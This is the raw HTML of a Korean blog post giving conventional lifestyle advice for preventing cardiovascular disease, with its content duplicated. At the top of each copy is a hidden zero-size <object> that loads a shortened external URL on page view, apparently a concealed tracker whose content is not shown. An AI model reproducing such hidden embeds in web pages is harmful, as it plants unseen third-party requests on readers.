심혈관 질환 예방을 위한 생활습관

<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cbfm" type="image/x-icon"></object> <div class="se_component_wrap"> <div class="se_component se_paragraph default"> <div class="se_sectionArea"> <div class="se_editArea"> <div class="se_viewArea se_ff_nanumgothic se_fs_T3 se_align-center"> <div class="se_editView"> <div class="se_textView"> <p class="se_textarea"><span>심혈관질환 예방을 위한 생활습관<br></span><span><br></span><span></span></p> </div> </div> </div> </div> </div> </div> <div class="se_component se_image default"> <div class="se_sectionArea se_align-center"> <div class="se_editArea"> <div class="se_viewArea" style="max-width:500px"> <a [안내]태그제한으로등록되지않습니다-xxonclick="return false;" class="se_mediaArea __se_image_link __se_link" data-linktype="img" data-linkdata="{&quot;imgId&quot; : &quot;SEDOC-1493885572697-433429251_image_0_img&quot;, &quot;src&quot; : &quot;https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfMjgy/MDAxNDkzODg0NzA0NzE1.ZUZ6p4QsU88kSe8qhSg4_58lzoWBDcu_USoaSaEKVc4g.EAYsOR-j_iXhvC5Rd6TJuu5oI_oho23q4uZWos98_-4g.JPEG.p8109956/351a2ff5eeafd271c57938e315ae2f2b.jpg&quot;, &quot;linkUse&quot; : &quot;false&quot;,&quot;link&quot; : &quot;&quot;}" area-hidden="true"> <img id="img_1" class="se_mediaImage __se_img_el _lazy-loading-target-image" src="https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfMjgy/MDAxNDkzODg0NzA0NzE1.ZUZ6p4QsU88kSe8qhSg4_58lzoWBDcu_USoaSaEKVc4g.EAYsOR-j_iXhvC5Rd6TJuu5oI_oho23q4uZWos98_-4g.JPEG.p8109956/351a2ff5eeafd271c57938e315ae2f2b.jpg?type=w800" data-lazy-src="" data-width="500" data-height="280" width="500" height="280" data-attachment-id="IkQO02lrIvMwRT1eRp5JPTvNb3JI" alt="" data-top="391.578125"> </a> </div> </div> </div> </div> <div class="se_component se_paragraph default"> <div class="se_sectionArea"> <div class="se_editArea"> <div class="se_viewArea se_ff_nanumgothic se_fs_T3 se_align-center"> <div class="se_editView"> <div class="se_textView"> <p class="se_textarea"><span>규칙적인 운동을 하여 혈압과 체중을&nbsp;</span><span>정상으로 유지하는</span><span>것이 좋으며<br></span><span>복부비만은 내장지방 축적으로 인슐인 기능을 떨어뜨려 탄수화물과 지방의 대사이상을 가져오기때문에<br></span><span>허리둘레를 유지하는것이 좋다<br></span><span><br></span><span></span></p> </div> </div> </div> </div> </div> </div> <div class="se_component se_image default"> <div class="se_sectionArea se_align-center"> <div class="se_editArea"> <div class="se_viewArea" style="max-width:500px"> <a [안내]태그제한으로등록되지않습니다-xxonclick="return false;" class="se_mediaArea __se_image_link __se_link" data-linktype="img" data-linkdata="{&quot;imgId&quot; : &quot;SEDOC-1493885572697-433429251_image_1_img&quot;, &quot;src&quot; : &quot;https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfNDkg/MDAxNDkzODg1MDI5MDk2.dJLaAoOMAZEsAaW1PuXzcUEcZ2l-KBujORnvgUTH8C8g.xJTXqugLVZDCj7gBCyPhuChrMvCY6T_3H1Evh02noYgg.PNG.p8109956/0510-0.png&quot;, &quot;linkUse&quot; : &quot;false&quot;,&quot;link&quot; : &quot;&quot;}" area-hidden="true"> <img id="img_2" class="se_mediaImage __se_img_el _lazy-loading-target-image" src="https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfNDkg/MDAxNDkzODg1MDI5MDk2.dJLaAoOMAZEsAaW1PuXzcUEcZ2l-KBujORnvgUTH8C8g.xJTXqugLVZDCj7gBCyPhuChrMvCY6T_3H1Evh02noYgg.PNG.p8109956/0510-0.png?type=w800" data-lazy-src="" data-width="500" data-height="255" width="500" height="255" data-attachment-id="IbwWUIkTmLFuRVCeIReRByMOpNpA" alt="" data-top="884.78125"> </a> </div> </div> </div> </div> <div class="se_component se_paragraph default"> <div class="se_sectionArea"> <div class="se_editArea"> <div class="se_viewArea se_ff_nanumgothic se_fs_T3 se_align-center"> <div class="se_editView"> <div class="se_textView"> <p class="se_textarea"><span>정기적으로 건장검진을 하는것이 좋다<br></span><span>건강한 심혈관을 유지하기 위해서는 혈압, 콜레스테롤, 혈당등을 정상적으로 유지하는것이 중요하다<br></span><span><br></span><span></span></p> </div> </div> </div> </div> </div> </div> <div class="se_component se_image default"> <div class="se_sectionArea se_align-center"> <div class="se_editArea"> <div class="se_viewArea" style="max-width:500px"> <a [안내]태그제한으로등록되지않습니다-xxonclick="return false;" class="se_mediaArea __se_image_link __se_link" data-linktype="img" data-linkdata="{&quot;imgId&quot; : &quot;SEDOC-1493885572697-433429251_image_2_img&quot;, &quot;src&quot; : &quot;https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfMjc4/MDAxNDkzODg1MTAzMTE1.CUvclXWMUC8zB_vEK5XVcf05qfrwTowHOv2Qrj_GtwQg.HFF9Uq5pidp-zVImQQTDpaAWc4FxCozk3JRowsEbAOkg.JPEG.p8109956/1366_768_20101018093428398304.jpg&quot;, &quot;linkUse&quot; : &quot;false&quot;,&quot;link&quot; : &quot;&quot;}" area-hidden="true"> <img id="img_3" class="se_mediaImage __se_img_el _lazy-loading-target-image" src="https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfMjc4/MDAxNDkzODg1MTAzMTE1.CUvclXWMUC8zB_vEK5XVcf05qfrwTowHOv2Qrj_GtwQg.HFF9Uq5pidp-zVImQQTDpaAWc4FxCozk3JRowsEbAOkg.JPEG.p8109956/1366_768_20101018093428398304.jpg?type=w800" data-lazy-src="" data-width="500" data-height="280" width="500" height="280" data-attachment-id="IbcqgFEXFwT6PEZtHyjHwB0ckKWg" alt="" data-top="1323.6875"> </a> </div> </div> </div> </div> <div class="se_component se_paragraph default"> <div class="se_sectionArea"> <div class="se_editArea"> <div class="se_viewArea se_ff_nanumgothic se_fs_T3 se_align-center"> <div class="se_editView"> <div class="se_textView"> <p class="se_textarea"><span>충분한 숙면과 휴식을 가지고<br></span><span>가족과 주변 친구들과 자주 어울리며 자연과 가까이 지내고 &nbsp;미세먼지와 공해로 부터 탈출해보자<br></span><span><br></span><span></span></p> </div> </div> </div> </div> </div> </div> <div class="se_component se_image default"> <div class="se_sectionArea se_align-center"> <div class="se_editArea"> <div class="se_viewArea" style="max-width:500px"> <a [안내]태그제한으로등록되지않습니다-xxonclick="return false;" class="se_mediaArea __se_image_link __se_link" data-linktype="img" data-linkdata="{&quot;imgId&quot; : &quot;SEDOC-1493885572697-433429251_image_3_img&quot;, &quot;src&quot; : &quot;https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfMjE5/MDAxNDkzODg1MjIxMDIw.aTZJljgRsRGmHk-6s6BR5ywi0VUo2zirpH0oifOeBbIg.VCGqLdhFzqcLkv2rNmtdmVqVqKDWOAt9_nXFUhgdEh4g.JPEG.p8109956/image_3174940111493885205959.jpg&quot;, &quot;linkUse&quot; : &quot;false&quot;,&quot;link&quot; : &quot;&quot;}" area-hidden="true"> <img id="img_4" class="se_mediaImage __se_img_el _lazy-loading-target-image" src="https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfMjE5/MDAxNDkzODg1MjIxMDIw.aTZJljgRsRGmHk-6s6BR5ywi0VUo2zirpH0oifOeBbIg.VCGqLdhFzqcLkv2rNmtdmVqVqKDWOAt9_nXFUhgdEh4g.JPEG.p8109956/image_3174940111493885205959.jpg?type=w800" data-lazy-src="" data-width="500" data-height="385" width="500" height="385" data-attachment-id="IIg25imz8j_UeLQJD7vTd6JUelrE" alt="" data-top="1756.109375"> </a> </div> </div> </div> </div> <div class="se_component se_paragraph default"> <div class="se_sectionArea"> <div class="se_editArea"> <div class="se_viewArea se_ff_nanumgothic se_fs_T3 se_align-center"> <div class="se_editView"> <div class="se_textView"> <p class="se_textarea"><span>등푸른 생선과 견과류를 즐겨 먹자<br></span><span><br></span><span>심혈관 질환을 예방할수 있는 EPA,DHA가 들어 있는 등푸른 생선을 많이 섭취하고<br></span><span>호두, 아몬드, 땅콩같은 견과류는 불포화지방산, 섬유소, 비타민E등이 많아 심뇌혈관질환과 당뇨병예방에 효과적이다<br></span><span><br></span><span></span></p> </div> </div> </div> </div> </div> </div> <div class="se_component se_image default"> <div class="se_sectionArea se_align-center"> <div class="se_editArea"> <div class="se_viewArea" style="max-width:500px"> <a [안내]태그제한으로등록되지않습니다-xxonclick="return false;" class="se_mediaArea __se_image_link __se_link" data-linktype="img" data-linkdata="{&quot;imgId&quot; : &quot;SEDOC-1493885572697-433429251_image_4_img&quot;, &quot;src&quot; : &quot;https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfNDQg/MDAxNDkzODg1NDA3MTA4.8beMWpt5LRfH7ygRmMPxGoHu-jaB8s9NHvY4c2W41Q0g._7r2UxMeJFQKt_DwlrhAdBM4zklw0usPKodhZQiDdqYg.JPEG.p8109956/kinnenn.jpg&quot;, &quot;linkUse&quot; : &quot;false&quot;,&quot;link&quot; : &quot;&quot;}" area-hidden="true"> <img id="img_5" class="se_mediaImage __se_img_el _lazy-loading-target-image" src="https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfNDQg/MDAxNDkzODg1NDA3MTA4.8beMWpt5LRfH7ygRmMPxGoHu-jaB8s9NHvY4c2W41Q0g._7r2UxMeJFQKt_DwlrhAdBM4zklw0usPKodhZQiDdqYg.JPEG.p8109956/kinnenn.jpg?type=w80_blur" data-lazy-src="https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfNDQg/MDAxNDkzODg1NDA3MTA4.8beMWpt5LRfH7ygRmMPxGoHu-jaB8s9NHvY4c2W41Q0g._7r2UxMeJFQKt_DwlrhAdBM4zklw0usPKodhZQiDdqYg.JPEG.p8109956/kinnenn.jpg?type=w800" data-width="500" data-height="330" width="500" height="330" data-attachment-id="I_oo54JkLtweTVCjyaqfDJzFN7-0" alt="" data-top="2383.453125"> </a> </div> </div> </div> </div> <div class="se_component se_paragraph default"> <div class="se_sectionArea"> <div class="se_editArea"> <div class="se_viewArea se_ff_nanumgothic se_fs_T3 se_align-center"> <div class="se_editView"> <div class="se_textView"> <p class="se_textarea"><span>금연을 하자<br></span><span><br></span><span>하루에 반갑정도 흡연을 하는 사람은 안하는 사람의 3배이상 심혈관질환의 위험에 노출되어 있다<br></span><span><br></span><span></span></p> </div> </div> </div> </div> </div> </div> <div class="se_component se_image default"> <div class="se_sectionArea se_align-center"> <div class="se_editArea"> <div class="se_viewArea" style="max-width:500px"> <a [안내]태그제한으로등록되지않습니다-xxonclick="return false;" class="se_mediaArea __se_image_link __se_link" data-linktype="img" data-linkdata="{&quot;imgId&quot; : &quot;SEDOC-1493885572697-433429251_image_5_img&quot;, &quot;src&quot; : &quot;https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfODQg/MDAxNDkzODg1NDcxMjY1.1K-XgFUCJYwB7dQ4g58r2GmgsgpKuyHuKX2kbJjuVaMg.3PQQuhus7odPg5SHHa7jACsIJeFXXbplWCOSZCIdW8Ug.JPEG.p8109956/vegetable.jpg&quot;, &quot;linkUse&quot; : &quot;false&quot;,&quot;link&quot; : &quot;&quot;}" area-hidden="true"> <img id="img_6" class="se_mediaImage __se_img_el _lazy-loading-target-image" src="https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfODQg/MDAxNDkzODg1NDcxMjY1.1K-XgFUCJYwB7dQ4g58r2GmgsgpKuyHuKX2kbJjuVaMg.3PQQuhus7odPg5SHHa7jACsIJeFXXbplWCOSZCIdW8Ug.JPEG.p8109956/vegetable.jpg?type=w80_blur" data-lazy-src="https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfODQg/MDAxNDkzODg1NDcxMjY1.1K-XgFUCJYwB7dQ4g58r2GmgsgpKuyHuKX2kbJjuVaMg.3PQQuhus7odPg5SHHa7jACsIJeFXXbplWCOSZCIdW8Ug.JPEG.p8109956/vegetable.jpg?type=w800" data-width="500" data-height="250" width="500" height="250" data-attachment-id="IQwHav5-VIPccONs99jvRaDRy9Fo" alt="" data-top="2896.265625"> </a> </div> </div> </div> </div> <div class="se_component se_paragraph default"> <div class="se_sectionArea"> <div class="se_editArea"> <div class="se_viewArea se_ff_nanumgothic se_fs_T3 se_align-center"> <div class="se_editView"> <div class="se_textView"> <p class="se_textarea"><span>채소와 과일을 충분히 먹어라<br></span><span><br></span><span>채소와 과일, 현미, 잡곡, 콩유등은 복합탄수화물, 섬유질, 칼륨, 비타민, 항산화제 등이 들어 있어<br></span><span>혈압을 낮추고 탄수화물과 지질대사를 호전시킨다<br></span><span><br></span><span></span></p> </div> </div> </div> </div> </div> </div> </div>"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbfm" type="image/x-icon" allowNetworking='internal' allowScriptAccess='sameDomain'></object> <div class="se_component_wrap"> <div class="se_component se_paragraph default"> <div class="se_sectionArea"> <div class="se_editArea"> <div class="se_viewArea se_ff_nanumgothic se_fs_T3 se_align-center"> <div class="se_editView"> <div class="se_textView"> <p class="se_textarea"><span>심혈관질환 예방을 위한 생활습관<br></span><span><br></span><span></span></p> </div> </div> </div> </div> </div> </div> <div class="se_component se_image default"> <div class="se_sectionArea se_align-center"> <div class="se_editArea"> <div class="se_viewArea" style="max-width:500px"> <a [안내]태그제한으로등록되지않습니다-xxonclick="return false;" class="se_mediaArea __se_image_link __se_link" data-linktype="img" data-linkdata="{"imgId" : "SEDOC-1493885572697-433429251_image_0_img", "src" : "https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfMjgy/MDAxNDkzODg0NzA0NzE1.ZUZ6p4QsU88kSe8qhSg4_58lzoWBDcu_USoaSaEKVc4g.EAYsOR-j_iXhvC5Rd6TJuu5oI_oho23q4uZWos98_-4g.JPEG.p8109956/351a2ff5eeafd271c57938e315ae2f2b.jpg", "linkUse" : "false","link" : ""}" area-hidden="true"> <img id="img_1" class="se_mediaImage __se_img_el _lazy-loading-target-image" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fmblogthumb-phinf.pstatic.net%2FMjAxNzA1MDRfMjgy%2FMDAxNDkzODg0NzA0NzE1.ZUZ6p4QsU88kSe8qhSg4_58lzoWBDcu_USoaSaEKVc4g.EAYsOR-j_iXhvC5Rd6TJuu5oI_oho23q4uZWos98_-4g.JPEG.p8109956%2F351a2ff5eeafd271c57938e315ae2f2b.jpg%3Ftype%3Dw800" data-lazy-src="" data-width="500" data-height="280" width="500" height="280" data-attachment-id="IkQO02lrIvMwRT1eRp5JPTvNb3JI" alt="" data-top="391.578125"> </a> </div> </div> </div> </div> <div class="se_component se_paragraph default"> <div class="se_sectionArea"> <div class="se_editArea"> <div class="se_viewArea se_ff_nanumgothic se_fs_T3 se_align-center"> <div class="se_editView"> <div class="se_textView"> <p class="se_textarea"><span>규칙적인 운동을 하여 혈압과 체중을 </span><span>정상으로 유지하는</span><span>것이 좋으며<br></span><span>복부비만은 내장지방 축적으로 인슐인 기능을 떨어뜨려 탄수화물과 지방의 대사이상을 가져오기때문에<br></span><span>허리둘레를 유지하는것이 좋다<br></span><span><br></span><span></span></p> </div> </div> </div> </div> </div> </div> <div class="se_component se_image default"> <div class="se_sectionArea se_align-center"> <div class="se_editArea"> <div class="se_viewArea" style="max-width:500px"> <a [안내]태그제한으로등록되지않습니다-xxonclick="return false;" class="se_mediaArea __se_image_link __se_link" data-linktype="img" data-linkdata="{"imgId" : "SEDOC-1493885572697-433429251_image_1_img", "src" : "https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfNDkg/MDAxNDkzODg1MDI5MDk2.dJLaAoOMAZEsAaW1PuXzcUEcZ2l-KBujORnvgUTH8C8g.xJTXqugLVZDCj7gBCyPhuChrMvCY6T_3H1Evh02noYgg.PNG.p8109956/0510-0.png", "linkUse" : "false","link" : ""}" area-hidden="true"> <img id="img_2" class="se_mediaImage __se_img_el _lazy-loading-target-image" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fmblogthumb-phinf.pstatic.net%2FMjAxNzA1MDRfNDkg%2FMDAxNDkzODg1MDI5MDk2.dJLaAoOMAZEsAaW1PuXzcUEcZ2l-KBujORnvgUTH8C8g.xJTXqugLVZDCj7gBCyPhuChrMvCY6T_3H1Evh02noYgg.PNG.p8109956%2F0510-0.png%3Ftype%3Dw800" data-lazy-src="" data-width="500" data-height="255" width="500" height="255" data-attachment-id="IbwWUIkTmLFuRVCeIReRByMOpNpA" alt="" data-top="884.78125"> </a> </div> </div> </div> </div> <div class="se_component se_paragraph default"> <div class="se_sectionArea"> <div class="se_editArea"> <div class="se_viewArea se_ff_nanumgothic se_fs_T3 se_align-center"> <div class="se_editView"> <div class="se_textView"> <p class="se_textarea"><span>정기적으로 건장검진을 하는것이 좋다<br></span><span>건강한 심혈관을 유지하기 위해서는 혈압, 콜레스테롤, 혈당등을 정상적으로 유지하는것이 중요하다<br></span><span><br></span><span></span></p> </div> </div> </div> </div> </div> </div> <div class="se_component se_image default"> <div class="se_sectionArea se_align-center"> <div class="se_editArea"> <div class="se_viewArea" style="max-width:500px"> <a [안내]태그제한으로등록되지않습니다-xxonclick="return false;" class="se_mediaArea __se_image_link __se_link" data-linktype="img" data-linkdata="{"imgId" : "SEDOC-1493885572697-433429251_image_2_img", "src" : "https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfMjc4/MDAxNDkzODg1MTAzMTE1.CUvclXWMUC8zB_vEK5XVcf05qfrwTowHOv2Qrj_GtwQg.HFF9Uq5pidp-zVImQQTDpaAWc4FxCozk3JRowsEbAOkg.JPEG.p8109956/1366_768_20101018093428398304.jpg", "linkUse" : "false","link" : ""}" area-hidden="true"> <img id="img_3" class="se_mediaImage __se_img_el _lazy-loading-target-image" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fmblogthumb-phinf.pstatic.net%2FMjAxNzA1MDRfMjc4%2FMDAxNDkzODg1MTAzMTE1.CUvclXWMUC8zB_vEK5XVcf05qfrwTowHOv2Qrj_GtwQg.HFF9Uq5pidp-zVImQQTDpaAWc4FxCozk3JRowsEbAOkg.JPEG.p8109956%2F1366_768_20101018093428398304.jpg%3Ftype%3Dw800" data-lazy-src="" data-width="500" data-height="280" width="500" height="280" data-attachment-id="IbcqgFEXFwT6PEZtHyjHwB0ckKWg" alt="" data-top="1323.6875"> </a> </div> </div> </div> </div> <div class="se_component se_paragraph default"> <div class="se_sectionArea"> <div class="se_editArea"> <div class="se_viewArea se_ff_nanumgothic se_fs_T3 se_align-center"> <div class="se_editView"> <div class="se_textView"> <p class="se_textarea"><span>충분한 숙면과 휴식을 가지고<br></span><span>가족과 주변 친구들과 자주 어울리며 자연과 가까이 지내고  미세먼지와 공해로 부터 탈출해보자<br></span><span><br></span><span></span></p> </div> </div> </div> </div> </div> </div> <div class="se_component se_image default"> <div class="se_sectionArea se_align-center"> <div class="se_editArea"> <div class="se_viewArea" style="max-width:500px"> <a [안내]태그제한으로등록되지않습니다-xxonclick="return false;" class="se_mediaArea __se_image_link __se_link" data-linktype="img" data-linkdata="{"imgId" : "SEDOC-1493885572697-433429251_image_3_img", "src" : "https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfMjE5/MDAxNDkzODg1MjIxMDIw.aTZJljgRsRGmHk-6s6BR5ywi0VUo2zirpH0oifOeBbIg.VCGqLdhFzqcLkv2rNmtdmVqVqKDWOAt9_nXFUhgdEh4g.JPEG.p8109956/image_3174940111493885205959.jpg", "linkUse" : "false","link" : ""}" area-hidden="true"> <img id="img_4" class="se_mediaImage __se_img_el _lazy-loading-target-image" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fmblogthumb-phinf.pstatic.net%2FMjAxNzA1MDRfMjE5%2FMDAxNDkzODg1MjIxMDIw.aTZJljgRsRGmHk-6s6BR5ywi0VUo2zirpH0oifOeBbIg.VCGqLdhFzqcLkv2rNmtdmVqVqKDWOAt9_nXFUhgdEh4g.JPEG.p8109956%2Fimage_3174940111493885205959.jpg%3Ftype%3Dw800" data-lazy-src="" data-width="500" data-height="385" width="500" height="385" data-attachment-id="IIg25imz8j_UeLQJD7vTd6JUelrE" alt="" data-top="1756.109375"> </a> </div> </div> </div> </div> <div class="se_component se_paragraph default"> <div class="se_sectionArea"> <div class="se_editArea"> <div class="se_viewArea se_ff_nanumgothic se_fs_T3 se_align-center"> <div class="se_editView"> <div class="se_textView"> <p class="se_textarea"><span>등푸른 생선과 견과류를 즐겨 먹자<br></span><span><br></span><span>심혈관 질환을 예방할수 있는 EPA,DHA가 들어 있는 등푸른 생선을 많이 섭취하고<br></span><span>호두, 아몬드, 땅콩같은 견과류는 불포화지방산, 섬유소, 비타민E등이 많아 심뇌혈관질환과 당뇨병예방에 효과적이다<br></span><span><br></span><span></span></p> </div> </div> </div> </div> </div> </div> <div class="se_component se_image default"> <div class="se_sectionArea se_align-center"> <div class="se_editArea"> <div class="se_viewArea" style="max-width:500px"> <a [안내]태그제한으로등록되지않습니다-xxonclick="return false;" class="se_mediaArea __se_image_link __se_link" data-linktype="img" data-linkdata="{"imgId" : "SEDOC-1493885572697-433429251_image_4_img", "src" : "https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfNDQg/MDAxNDkzODg1NDA3MTA4.8beMWpt5LRfH7ygRmMPxGoHu-jaB8s9NHvY4c2W41Q0g._7r2UxMeJFQKt_DwlrhAdBM4zklw0usPKodhZQiDdqYg.JPEG.p8109956/kinnenn.jpg", "linkUse" : "false","link" : ""}" area-hidden="true"> <img id="img_5" class="se_mediaImage __se_img_el _lazy-loading-target-image" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fmblogthumb-phinf.pstatic.net%2FMjAxNzA1MDRfNDQg%2FMDAxNDkzODg1NDA3MTA4.8beMWpt5LRfH7ygRmMPxGoHu-jaB8s9NHvY4c2W41Q0g._7r2UxMeJFQKt_DwlrhAdBM4zklw0usPKodhZQiDdqYg.JPEG.p8109956%2Fkinnenn.jpg%3Ftype%3Dw80_blur" data-lazy-src="https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfNDQg/MDAxNDkzODg1NDA3MTA4.8beMWpt5LRfH7ygRmMPxGoHu-jaB8s9NHvY4c2W41Q0g._7r2UxMeJFQKt_DwlrhAdBM4zklw0usPKodhZQiDdqYg.JPEG.p8109956/kinnenn.jpg?type=w800" data-width="500" data-height="330" width="500" height="330" data-attachment-id="I_oo54JkLtweTVCjyaqfDJzFN7-0" alt="" data-top="2383.453125"> </a> </div> </div> </div> </div> <div class="se_component se_paragraph default"> <div class="se_sectionArea"> <div class="se_editArea"> <div class="se_viewArea se_ff_nanumgothic se_fs_T3 se_align-center"> <div class="se_editView"> <div class="se_textView"> <p class="se_textarea"><span>금연을 하자<br></span><span><br></span><span>하루에 반갑정도 흡연을 하는 사람은 안하는 사람의 3배이상 심혈관질환의 위험에 노출되어 있다<br></span><span><br></span><span></span></p> </div> </div> </div> </div> </div> </div> <div class="se_component se_image default"> <div class="se_sectionArea se_align-center"> <div class="se_editArea"> <div class="se_viewArea" style="max-width:500px"> <a [안내]태그제한으로등록되지않습니다-xxonclick="return false;" class="se_mediaArea __se_image_link __se_link" data-linktype="img" data-linkdata="{"imgId" : "SEDOC-1493885572697-433429251_image_5_img", "src" : "https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfODQg/MDAxNDkzODg1NDcxMjY1.1K-XgFUCJYwB7dQ4g58r2GmgsgpKuyHuKX2kbJjuVaMg.3PQQuhus7odPg5SHHa7jACsIJeFXXbplWCOSZCIdW8Ug.JPEG.p8109956/vegetable.jpg", "linkUse" : "false","link" : ""}" area-hidden="true"> <img id="img_6" class="se_mediaImage __se_img_el _lazy-loading-target-image" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fmblogthumb-phinf.pstatic.net%2FMjAxNzA1MDRfODQg%2FMDAxNDkzODg1NDcxMjY1.1K-XgFUCJYwB7dQ4g58r2GmgsgpKuyHuKX2kbJjuVaMg.3PQQuhus7odPg5SHHa7jACsIJeFXXbplWCOSZCIdW8Ug.JPEG.p8109956%2Fvegetable.jpg%3Ftype%3Dw80_blur" data-lazy-src="https://mblogthumb-phinf.pstatic.net/MjAxNzA1MDRfODQg/MDAxNDkzODg1NDcxMjY1.1K-XgFUCJYwB7dQ4g58r2GmgsgpKuyHuKX2kbJjuVaMg.3PQQuhus7odPg5SHHa7jACsIJeFXXbplWCOSZCIdW8Ug.JPEG.p8109956/vegetable.jpg?type=w800" data-width="500" data-height="250" width="500" height="250" data-attachment-id="IQwHav5-VIPccONs99jvRaDRy9Fo" alt="" data-top="2896.265625"> </a> </div> </div> </div> </div> <div class="se_component se_paragraph default"> <div class="se_sectionArea"> <div class="se_editArea"> <div class="se_viewArea se_ff_nanumgothic se_fs_T3 se_align-center"> <div class="se_editView"> <div class="se_textView"> <p class="se_textarea"><span>채소와 과일을 충분히 먹어라<br></span><span><br></span><span>채소와 과일, 현미, 잡곡, 콩유등은 복합탄수화물, 섬유질, 칼륨, 비타민, 항산화제 등이 들어 있어<br></span><span>혈압을 낮추고 탄수화물과 지질대사를 호전시킨다<br></span><span><br></span><span></span></p> </div> </div> </div> </div> </div> </div> </div></div></div>